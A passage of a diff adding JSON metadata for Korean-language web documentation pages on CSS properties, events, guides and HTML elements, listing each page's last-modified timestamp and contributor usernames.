+    "modified": "2020-11-16T08:59:50.359Z",
+    "contributors": [
+      "chrisdavidmills",
+      "DeadIntegral"
+    ]
+  },
+  "Web/CSS/transform-function/scaleX()": {
+    "modified": "2020-11-30T10:20:51.450Z",
+    "contributors": [
+      "chrisdavidmills",
+      "genzuby"
+    ]
+  },
+  "Web/CSS/transition": {
+    "modified": "2019-03-23T22:28:21.926Z",
+    "contributors": [
+      "fasdgoc"
+    ]
+  },
+  "Web/CSS/transition-delay": {
+    "modified": "2019-03-23T22:28:17.012Z",
+    "contributors": [
+      "fasdgoc"
+    ]
+  },
+  "Web/CSS/unset": {
+    "modified": "2020-10-15T21:45:37.546Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/url": {
+    "modified": "2020-10-15T22:10:55.121Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/used_value": {
+    "modified": "2020-01-07T12:50:25.214Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/user-select": {
+    "modified": "2020-10-15T22:33:14.947Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/var()": {
+    "modified": "2020-11-04T09:10:36.975Z",
+    "contributors": [
+      "chrisdavidmills",
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/vertical-align": {
+    "modified": "2020-10-15T21:55:16.951Z",
+    "contributors": [
+      "alattalatta",
+      "kidkkr"
+    ]
+  },
+  "Web/CSS/visibility": {
+    "modified": "2020-10-15T22:15:38.851Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/white-space": {
+    "modified": "2020-10-15T21:52:50.149Z",
+    "contributors": [
+      "alattalatta",
+      "maytree"
+    ]
+  },
+  "Web/CSS/width": {
+    "modified": "2020-10-15T22:11:19.772Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/will-change": {
+    "modified": "2019-03-23T22:34:40.134Z",
+    "contributors": [
+      "stitchworkingonthecode"
+    ]
+  },
+  "Web/CSS/word-break": {
+    "modified": "2020-10-15T22:15:08.918Z",
+    "contributors": [
+      "alattalatta",
+      "compctive"
+    ]
+  },
+  "Web/CSS/word-spacing": {
+    "modified": "2020-10-15T22:33:03.458Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/z-index": {
+    "modified": "2020-10-15T21:20:31.595Z",
+    "contributors": [
+      "alattalatta",
+      "teoli",
+      "jaemin_jo"
+    ]
+  },
+  "Web/CSS/시작하기/리스트": {
+    "modified": "2019-03-23T23:33:11.239Z",
+    "contributors": [
+      "teoli",
+      "SpikeYou"
+    ]
+  },
+  "Web/CSS/시작하기/미디어": {
+    "modified": "2019-03-23T23:33:02.082Z",
+    "contributors": [
+      "teoli",
+      "SpikeYou"
+    ]
+  },
+  "Web/CSS/시작하기/배치": {
+    "modified": "2019-03-23T23:33:01.592Z",
+    "contributors": [
+      "yooonmi",
+      "teoli",
+      "SpikeYou"
+    ]
+  },
+  "Web/CSS/시작하기/상자": {
+    "modified": "2019-03-23T23:33:01.323Z",
+    "contributors": [
+      "yooonmi",
+      "teoli",
+      "SpikeYou"
+    ]
+  },
+  "Web/CSS/시작하기/종속과_상속": {
+    "modified": "2019-03-23T23:33:16.790Z",
+    "contributors": [
+      "ElleXD",
+      "teoli",
+      "SpikeYou"
+    ]
+  },
+  "Web/CSS/시작하기/테이블": {
+    "modified": "2019-03-23T23:33:00.475Z",
+    "contributors": [
+      "teoli",
+      "SpikeYou"
+    ]
+  },
+  "Web/CSS/시작하기/텍스트_스타일": {
+    "modified": "2019-03-23T23:33:09.659Z",
+    "contributors": [
+      "yooonmi",
+      "teoli",
+      "SpikeYou"
+    ]
+  },
+  "Web/CSS/인접_형제_선택자": {
+    "modified": "2020-10-15T21:53:17.801Z",
+    "contributors": [
+      "alattalatta",
+      "neatnet"
+    ]
+  },
+  "Web/EXSLT": {
+    "modified": "2019-03-23T23:51:10.063Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Suguni"
+    ]
+  },
+  "Web/Events": {
+    "modified": "2020-06-19T02:46:52.355Z",
+    "contributors": [
+      "bumday",
+      "wbamberg",
+      "cs09g",
+      "ExE-Boss",
+      "alattalatta",
+      "nacyot",
+      "teoli",
+      "Jeremie"
+    ]
+  },
+  "Web/Events/DOMContentLoaded": {
+    "modified": "2020-12-03T14:42:33.988Z",
+    "contributors": [
+      "dink95",
+      "alattalatta",
+      "wbamberg",
+      "ExE-Boss",
+      "project42da"
+    ]
+  },
+  "Web/Events/abort": {
+    "modified": "2019-04-30T14:12:00.284Z",
+    "contributors": [
+      "wbamberg",
+      "guyeol"
+    ]
+  },
+  "Web/Events/blur": {
+    "modified": "2019-03-18T21:27:20.806Z",
+    "contributors": [
+      "ExE-Boss",
+      "whdckszxxx"
+    ]
+  },
+  "Web/Events/load": {
+    "modified": "2019-04-30T14:18:11.441Z",
+    "contributors": [
+      "wbamberg",
+      "ExE-Boss",
+      "SuminNoh"
+    ]
+  },
+  "Web/Events/message": {
+    "modified": "2019-04-30T14:16:28.259Z",
+    "contributors": [
+      "wbamberg",
+      "ExE-Boss",
+      "JinSeungHo"
+    ]
+  },
+  "Web/Guide": {
+    "modified": "2019-03-23T23:28:18.945Z",
+    "contributors": [
+      "digimon1740",
+      "stephenjang",
+      "moolow",
+      "haruair",
+      "Sheppy",
+      "jjangsuhyun"
+    ]
+  },
+  "Web/Guide/AJAX": {
+    "modified": "2020-11-05T10:30:10.859Z",
+    "contributors": [
+      "alattalatta",
+      "duduindo",
+      "chrisdavidmills",
+      "taggon",
+      "Jshin",
+      "Yongsuhb.e"
+    ]
+  },
+  "Web/Guide/AJAX/Community": {
+    "modified": "2020-12-04T12:27:43.895Z",
+    "contributors": [
+      "movegun1027",
+      "dink95"
+    ]
+  },
+  "Web/Guide/AJAX/Getting_Started": {
+    "modified": "2020-11-05T10:30:21.696Z",
+    "contributors": [
+      "alattalatta",
+      "naduhy2",
+      "mgcation",
+      "chrisdavidmills",
+      "kidkkr",
+      "dayoungles",
+      "SpikeYou",
+      "Channy",
+      "Nam-Hyung Kim",
+      "Sebuls",
+      "Eunseo.choi",
+      "Yongsuhb.e"
+    ]
+  },
+  "Web/Guide/API": {
+    "modified": "2019-08-26T12:28:16.871Z",
+    "contributors": [
+      "NoFence",
+      "alattalatta",
+      "Sheppy"
+    ]
+  },
+  "Web/Guide/API/Vibration/Vibration": {
+    "modified": "2020-10-15T21:24:18.629Z",
+    "contributors": [
+      "alattalatta",
+      "pjc0247",
+      "Sheppy",
+      "yunji_koh"
+    ]
+  },
+  "Web/Guide/Audio_and_video_delivery": {
+    "modified": "2019-04-17T05:03:01.108Z"
+  },
+  "Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video": {
+    "modified": "2019-05-13T05:46:53.607Z",
+    "contributors": [
+      "hoony"
+    ]
+  },
+  "Web/Guide/CSS/Block_formatting_context": {
+    "modified": "2020-08-05T00:58:44.120Z",
+    "contributors": [
+      "alattalatta",
+      "moolow",
+      "corps99"
+    ]
+  },
+  "Web/Guide/CSS/Media_queries": {
+    "modified": "2020-11-10T11:07:52.526Z",
+    "contributors": [
+      "hKa2020",
+      "alattalatta",
+      "hwanseung",
+      "BANIP",
+      "seoyunho",
+      "Ground-Silver0903",
+      "Sebastianz",
+      "roupkk",
+      "mrstork",
+      "malayaleecoder",
+      "jooddang",
+      "jhonghee"
+    ]
+  },
+  "Web/Guide/CSS/Visual_formatting_model": {
+    "modified": "2019-09-26T13:57:16.375Z",
+    "contributors": [
+      "Hwan-Woong-Lee",
+      "nyxchung",
+      "cmygray",
+      "cheeee",
+      "dotorify",
+      "hotsummmer",
+      "JeongSeongDae"
+    ]
+  },
+  "Web/Guide/DOM": {
+    "modified": "2019-03-23T23:26:56.400Z",
+    "contributors": [
+      "Sheppy"
+    ]
+  },
+  "Web/Guide/DOM/Using_full_screen_mode": {
+    "modified": "2020-10-15T21:24:24.180Z",
+    "contributors": [
+      "DeadIntegral",
+      "wbamberg",
+      "junho85"
+    ]
+  },
+  "Web/Guide/Events": {
+    "modified": "2019-03-23T23:03:35.888Z",
+    "contributors": [
+      "moolow"
+    ]
+  },
+  "Web/Guide/Events/Creating_and_triggering_events": {
+    "modified": "2019-03-18T21:13:18.844Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/Guide/Events/Overview_of_Events_and_Handlers": {
+    "modified": "2019-03-23T22:48:26.046Z",
+    "contributors": [
+      "PineMt"
+    ]
+  },
+  "Web/Guide/HTML/Content_Editable": {
+    "modified": "2019-03-23T22:40:12.545Z",
+    "contributors": [
+      "gblue1223"
+    ]
+  },
+  "Web/Guide/HTML/Content_categories": {
+    "modified": "2020-07-29T11:16:44.120Z",
+    "contributors": [
+      "jojengman",
+      "alattalatta",
+      "chrisdavidmills",
+      "dooglegh",
+      "cs09g",
+      "KlausLee",
+      "lovefield",
+      "Kaben",
+      "azunyan3"
+    ]
+  },
+  "Web/Guide/Index": {
+    "modified": "2020-12-07T13:40:57.143Z",
+    "contributors": [
+      "peterbe",
+      "alattalatta"
+    ]
+  },
+  "Web/Guide/Mobile": {
+    "modified": "2019-05-30T06:59:50.297Z",
+    "contributors": [
+      "SDSkyKlouD",
+      "Seia-Soto",
+      "xfq"
+    ]
+  },
+  "Web/Guide/Mobile/Separate_sites": {
+    "modified": "2019-03-18T21:20:46.007Z",
+    "contributors": [
+      "jinah1000"
+    ]
+  },
+  "Web/Guide/XML_파싱_및_직렬화": {
+    "modified": "2019-03-23T22:16:47.020Z",
+    "contributors": [
+      "young-gratia"
+    ]
+  },
+  "Web/Guide/그래픽": {
+    "modified": "2020-02-15T07:39:57.101Z",
+    "contributors": [
+      "Netaras",
+      "hyeonseok",
+      "narae_lee"
+    ]
+  },
+  "Web/HTML": {
+    "modified": "2020-02-08T07:58:05.821Z",
+    "contributors": [
+      "alattalatta",
+      "enfroze",
+      "GunhoChoi",
+      "SphinxKnight",
+      "Oizys18",
+      "frankradio",
+      "wankyu",
+      "seungha-kim",
+      "Kaben",
+      "hyeonseok",
+      "Donghyun_Lee",
+      "azunyan3",
+      "moolow",
+      "duke.L",
+      "jongho"
+    ]
+  },
+  "Web/HTML/Applying_color": {
+    "modified": "2020-01-20T08:56:57.750Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Attributes": {
+    "modified": "2020-02-02T11:17:51.213Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Attributes/autocomplete": {
+    "modified": "2020-10-15T22:26:56.294Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Attributes/crossorigin": {
+    "modified": "2020-10-15T22:29:00.912Z",
+    "contributors": [
+      "ahnzaz"
+    ]
+  },
+  "Web/HTML/Block-level_elements": {
+    "modified": "2020-01-20T08:47:15.147Z",
+    "contributors": [
+      "alattalatta",
+      "chrisdavidmills",
+      "haeguri",
+      "Nickkun",
+      "Dongju_Lee"
+    ]
+  },
+  "Web/HTML/CORS_enabled_image": {
+    "modified": "2020-01-17T14:43:53.038Z",
+    "contributors": [
+      "alattalatta",
+      "proost"
+    ]
+  },
+  "Web/HTML/Canvas": {
+    "modified": "2020-02-05T06:54:04.340Z",
+    "contributors": [
+      "alattalatta",
+      "chungheepark",
+      "bluewings",
+      "cs09g",
+      "Netaras",
+      "teoli",
+      "ethertank",
+      "dextra",
+      "Suguni"
+    ]
+  },
+  "Web/HTML/Canvas/Manipulating_video_using_canvas": {
+    "modified": "2019-06-05T03:56:50.784Z",
+    "contributors": [
+      "Yeri-Kim"
+    ]
+  },
+  "Web/HTML/Canvas/Tutorial": {
+    "modified": "2019-09-23T23:04:58.681Z",
+    "contributors": [
+      "dbwodlf3",
+      "alattalatta",
+      "danhojin",
+      "MuhunKim",
+      "donghyun",
+      "AlwaysOnce"
+    ]
+  },
+  "Web/HTML/Canvas/Tutorial/Advanced_animations": {
+    "modified": "2020-12-05T09:44:35.831Z",
+    "contributors": [
+      "minthing"
+    ]
+  },
+  "Web/HTML/Canvas/Tutorial/Applying_styles_and_colors": {
+    "modified": "2019-10-10T16:32:24.689Z",
+    "contributors": [
+      "kbsbroad",
+      "sujilee91",
+      "donghyun",
+      "Sebastianz",
+      "AlwaysOnce"
+    ]
+  },
+  "Web/HTML/Canvas/Tutorial/Basic_animations": {
+    "modified": "2019-03-25T03:54:23.486Z",
+    "contributors": [
+      "AlwaysOnce"
+    ]
+  },
+  "Web/HTML/Canvas/Tutorial/Basic_usage": {
+    "modified": "2019-12-12T22:32:43.483Z",
+    "contributors": [
+      "kbsbroad",
+      "OkHyeon",
+      "sujilee91",
+      "MuhunKim"
+    ]
+  },
+  "Web/HTML/Canvas/Tutorial/Compositing": {
+    "modified": "2019-03-23T23:08:47.571Z",
+    "contributors": [
+      "EatChangmyeong",
+      "AlwaysOnce"
+    ]
+  },
+  "Web/HTML/Canvas/Tutorial/Compositing/Example": {
+    "modified": "2019-03-18T21:40:09.058Z",
+    "contributors": [
+      "EatChangmyeong"
+    ]
+  },
+  "Web/HTML/Canvas/Tutorial/Drawing_shapes": {
+    "modified": "2019-03-25T03:42:34.299Z",
+    "contributors": [
+      "kbsbroad",
+      "sujilee91"
+    ]
+  },
+  "Web/HTML/Canvas/Tutorial/Finale": {
+    "modified": "2020-12-02T07:47:45.530Z",
+    "contributors": [
+      "chzhclq17"
+    ]
+  },
+  "Web/HTML/Canvas/Tutorial/Hit_regions_and_accessibility": {
+    "modified": "2019-03-18T21:18:34.778Z",
+    "contributors": [
+      "kbsbroad"
+    ]
+  },
+  "Web/HTML/Canvas/Tutorial/Optimizing_canvas": {
+    "modified": "2020-06-04T04:24:50.578Z",
+    "contributors": [
+      "composite",
+      "kbsbroad"
+    ]
+  },
+  "Web/HTML/Canvas/Tutorial/Using_images": {
+    "modified": "2020-06-18T07:33:39.788Z",
+    "contributors": [
+      "dooyou21",
+      "cs09g",
+      "kbsbroad",
+      "klight1994",
+      "sujilee91"
+    ]
+  },
+  "Web/HTML/Canvas/Tutorial/변형": {
+    "modified": "2019-03-18T21:20:50.794Z",
+    "contributors": [
+      "jinah1000"
+    ]
+  },
+  "Web/HTML/Element": {
+    "modified": "2020-03-20T02:38:46.890Z",
+    "contributors": [
+      "alattalatta",
+      "jongin",
+      "sangwoo",
+      "azunyan3",
+      "teoli",
+      "arkido82@gmail.com",
+      "Gilchris"
+    ]
+  },
+  "Web/HTML/Element/Heading_Elements": {
+    "modified": "2020-10-15T21:34:54.387Z",
+    "contributors": [
+      "alattalatta",
+      "Kaben",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/Input": {
+    "modified": "2020-12-02T21:46:52.605Z",
+    "contributors": [
+      "hKa2020",
+      "xkitchenkay",
+      "alattalatta",
+      "JacieKim0",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/Input/button": {
+    "modified": "2020-10-15T22:09:45.262Z",
+    "contributors": [
+      "alattalatta",
+      "JaeWorld"
+    ]
+  },
+  "Web/HTML/Element/Input/date": {
+    "modified": "2020-10-15T22:27:19.955Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Element/Input/file": {
+    "modified": "2020-10-15T21:55:47.622Z",
+    "contributors": [
+      "alattalatta",
+      "onlydel",
+      "Neibce",
+      "Han_jongbae"
+    ]
+  },
+  "Web/HTML/Element/Input/radio": {
+    "modified": "2020-10-15T22:28:50.867Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Element/Video": {
+    "modified": "2020-10-15T21:14:28.732Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "pineoc",
+      "kw8799",
+      "Kaben",
+      "hyeonseok",
+      "teoli",
+      "Suguni"
+    ]
+  },
+  "Web/HTML/Element/a": {
+    "modified": "2020-10-15T21:16:16.368Z",
+    "contributors": [
+      "alattalatta",
+      "darongE",
+      "lovefield",
+      "pelly_ryu",
+      "Kaben",
+      "teoli",
+      "Basix",
+      "azunyan3",
+      "Jeongkyu"
+    ]
+  },
+  "Web/HTML/Element/abbr": {
+    "modified": "2020-10-15T21:35:00.433Z",
+    "contributors": [
+      "alattalatta",
+      "Kaben",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/address": {
+    "modified": "2020-10-15T21:35:31.224Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/applet": {
+    "modified": "2019-03-23T22:50:49.180Z",
+    "contributors": [
+      "Basix"
+    ]
+  },
+  "Web/HTML/Element/area": {
+    "modified": "2020-10-15T21:36:14.537Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/article": {
+    "modified": "2020-10-15T21:36:01.221Z",
+    "contributors": [
+      "alattalatta",
+      "Kaben",
+      "zziuni",
+      "cmygray",
+      "naduhy2",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/aside": {
+    "modified": "2020-10-15T21:36:01.686Z",
+    "contributors": [
+      "alattalatta",
+      "Kaben",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/audio": {
+    "modified": "2020-10-15T21:35:42.078Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/b": {
+    "modified": "2020-10-15T21:35:43.116Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/base": {
+    "modified": "2020-10-15T21:35:38.493Z",
+    "contributors": [
+      "alattalatta",
+      "project42da",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/bdo": {
+    "modified": "2020-10-15T21:36:08.183Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/blockquote": {
+    "modified": "2020-10-15T21:36:04.009Z",
+    "contributors": [
+      "alattalatta",
+      "darongE",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/body": {
+    "modified": "2020-10-15T21:34:55.983Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/br": {
+    "modified": "2020-10-15T21:35:04.503Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/button": {
+    "modified": "2020-10-15T21:32:25.173Z",
+    "contributors": [
+      "alattalatta",
+      "sooyoung32",
+      "azunyan3",
+      "moolow"
+    ]
+  },
+  "Web/HTML/Element/canvas": {
+    "modified": "2020-10-15T21:31:06.686Z",
+    "contributors": [
+      "alattalatta",
+      "ExE-Boss",
+      "chrisdavidmills",
+      "cs09g",
+      "azunyan3",
+      "AlwaysOnce"
+    ]
+  },
+  "Web/HTML/Element/caption": {
+    "modified": "2020-10-15T21:46:59.213Z",
+    "contributors": [
+      "alattalatta",
+      "kom2727"
+    ]
+  },
+  "Web/HTML/Element/center": {
+    "modified": "2019-03-23T22:40:25.789Z",
+    "contributors": [
+      "leegeunhyeok",
+      "kimseungdae"
+    ]
+  },
+  "Web/HTML/Element/cite": {
+    "modified": "2020-10-15T21:36:08.998Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/code": {
+    "modified": "2020-10-15T21:34:57.853Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/col": {
+    "modified": "2020-10-15T21:36:16.768Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/colgroup": {
+    "modified": "2020-10-15T21:35:24.996Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/command": {
+    "modified": "2020-10-15T21:44:01.823Z",
+    "contributors": [
+      "alattalatta",
+      "Rich_Village"
+    ]
+  },
+  "Web/HTML/Element/content": {
+    "modified": "2020-10-15T21:35:22.751Z",
+    "contributors": [
+      "alattalatta",
+      "lovefield",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/data": {
+    "modified": "2020-10-15T21:35:04.541Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/datalist": {
+    "modified": "2020-10-15T21:35:24.054Z",
+    "contributors": [
+      "alattalatta",
+      "mfranzke",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/dd": {
+    "modified": "2020-10-15T21:35:58.400Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/del": {
+    "modified": "2020-10-15T21:35:05.638Z",
+    "contributors": [
+      "alattalatta",
+      "wankyu",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/details": {
+    "modified": "2020-10-15T21:47:00.885Z",
+    "contributors": [
+      "alattalatta",
+      "kom2727"
+    ]
+  },
+  "Web/HTML/Element/dfn": {
+    "modified": "2020-10-15T21:35:43.719Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/dialog": {
+    "modified": "2020-10-15T22:00:27.666Z",
+    "contributors": [
+      "alattalatta",
+      "composite",
+      "Luavis"
+    ]
+  },
+  "Web/HTML/Element/div": {
+    "modified": "2020-10-15T21:36:09.053Z",
+    "contributors": [
+      "alattalatta",
+      "Kaben",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/dl": {
+    "modified": "2020-10-15T21:36:02.824Z",
+    "contributors": [
+      "alattalatta",
+      "leafriend",
+      "teoli",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/dt": {
+    "modified": "2020-10-15T21:36:00.823Z",
+    "contributors": [
+      "alattalatta",
+      "hotsummmer",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/element": {
+    "modified": "2020-10-15T21:35:22.163Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/em": {
+    "modified": "2020-10-15T21:36:03.360Z",
+    "contributors": [
+      "alattalatta",
+      "dooyou21",
+      "yanhkim",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/embed": {
+    "modified": "2020-10-15T21:35:32.464Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/fieldset": {
+    "modified": "2020-10-15T21:35:24.874Z",
+    "contributors": [
+      "alattalatta",
+      "nambak",
+      "jiyoungkim2",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/figcaption": {
+    "modified": "2020-10-15T21:43:34.836Z",
+    "contributors": [
+      "alattalatta",
+      "krosylight",
+      "remoted"
+    ]
+  },
+  "Web/HTML/Element/figure": {
+    "modified": "2020-10-15T21:48:57.646Z",
+    "contributors": [
+      "alattalatta",
+      "hyeonseok",
+      "Kei_"
+    ]
+  },
+  "Web/HTML/Element/font": {
+    "modified": "2020-10-15T22:17:06.487Z",
+    "contributors": [
+      "DDark"
+    ]
+  },
+  "Web/HTML/Element/footer": {
+    "modified": "2020-10-15T21:35:29.437Z",
+    "contributors": [
+      "alattalatta",
+      "Kaben",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/form": {
+    "modified": "2020-10-15T21:35:28.625Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/frame": {
+    "modified": "2019-03-23T22:33:38.743Z",
+    "contributors": [
+      "voidblue"
+    ]
+  },
+  "Web/HTML/Element/frameset": {
+    "modified": "2019-03-23T22:33:38.882Z",
+    "contributors": [
+      "voidblue"
+    ]
+  },
+  "Web/HTML/Element/head": {
+    "modified": "2020-10-15T21:34:57.690Z",
+    "contributors": [
+      "alattalatta",
+      "Capella87",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/header": {
+    "modified": "2020-10-15T21:35:25.051Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/hgroup": {
+    "modified": "2020-10-15T21:35:25.495Z",
+    "contributors": [
+      "alattalatta",
+      "Kaben",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/hr": {
+    "modified": "2020-10-15T21:35:43.957Z",
+    "contributors": [
+      "alattalatta",
+      "eszett-trash",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/html": {
+    "modified": "2020-10-15T21:35:02.119Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/i": {
+    "modified": "2020-10-15T21:35:05.448Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/iframe": {
+    "modified": "2020-10-15T21:36:06.572Z",
+    "contributors": [
+      "alattalatta",
+      "jiwoong.heo",
+      "tjddyd",
+      "yooasd11",
+      "fscholz",
+      "samee",
+      "wbamberg",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/img": {
+    "modified": "2020-10-15T21:36:05.245Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/ins": {
+    "modified": "2020-10-15T21:35:23.776Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/kbd": {
+    "modified": "2020-10-15T21:36:11.883Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/keygen": {
+    "modified": "2020-10-15T21:35:22.565Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/label": {
+    "modified": "2020-10-15T21:35:24.111Z",
+    "contributors": [
+      "alattalatta",
+      "ohahohah",
+      "danhojin",
+      "teoli",
+      "SphinxKnight",
+      "jayjin",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/legend": {
+    "modified": "2020-10-15T21:35:35.660Z",
+    "contributors": [
+      "alattalatta",
+      "Kaben",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/li": {
+    "modified": "2020-10-15T21:35:42.374Z",
+    "contributors": [
+      "alattalatta",
+      "Curzy",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/link": {
+    "modified": "2020-10-15T21:35:02.482Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon",
+      "highdali",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/main": {
+    "modified": "2020-10-15T21:36:07.959Z",
+    "contributors": [
+      "alattalatta",
+      "Kaben",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/map": {
+    "modified": "2020-10-15T21:36:08.264Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/mark": {
+    "modified": "2020-10-15T21:36:11.987Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/menu": {
+    "modified": "2020-10-15T21:43:07.200Z",
+    "contributors": [
+      "alattalatta",
+      "Kaben"
+    ]
+  },
+  "Web/HTML/Element/meta": {
+    "modified": "2020-10-15T21:34:59.137Z",
+    "contributors": [
+      "alattalatta",
+      "SeonHyungJo",
+      "dolmoon",
+      "Narrativi",
+      "joshua1988",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/meta/name": {
+    "modified": "2020-10-15T22:32:56.161Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Element/meter": {
+    "modified": "2020-10-15T21:35:29.583Z",
+    "contributors": [
+      "alattalatta",
+      "h4nuko0n",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/nav": {
+    "modified": "2020-10-15T21:35:42.331Z",
+    "contributors": [
+      "alattalatta",
+      "Kaben",
+      "naduhy2",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/noscript": {
+    "modified": "2020-10-15T21:35:26.877Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/object": {
+    "modified": "2020-10-15T21:35:58.978Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/ol": {
+    "modified": "2020-10-15T21:36:04.564Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/optgroup": {
+    "modified": "2020-10-15T21:35:25.818Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/option": {
+    "modified": "2020-10-15T21:35:34.056Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/output": {
+    "modified": "2020-10-15T21:35:23.182Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/p": {
+    "modified": "2020-10-15T21:36:04.192Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/param": {
+    "modified": "2020-10-15T21:36:08.687Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/pre": {
+    "modified": "2020-10-15T21:35:20.243Z",
+    "contributors": [
+      "alattalatta",
+      "ehfgk78",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/progress": {
+    "modified": "2020-10-15T21:35:31.947Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "Capella87",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/q": {
+    "modified": "2020-10-15T21:36:03.565Z",
+    "contributors": [
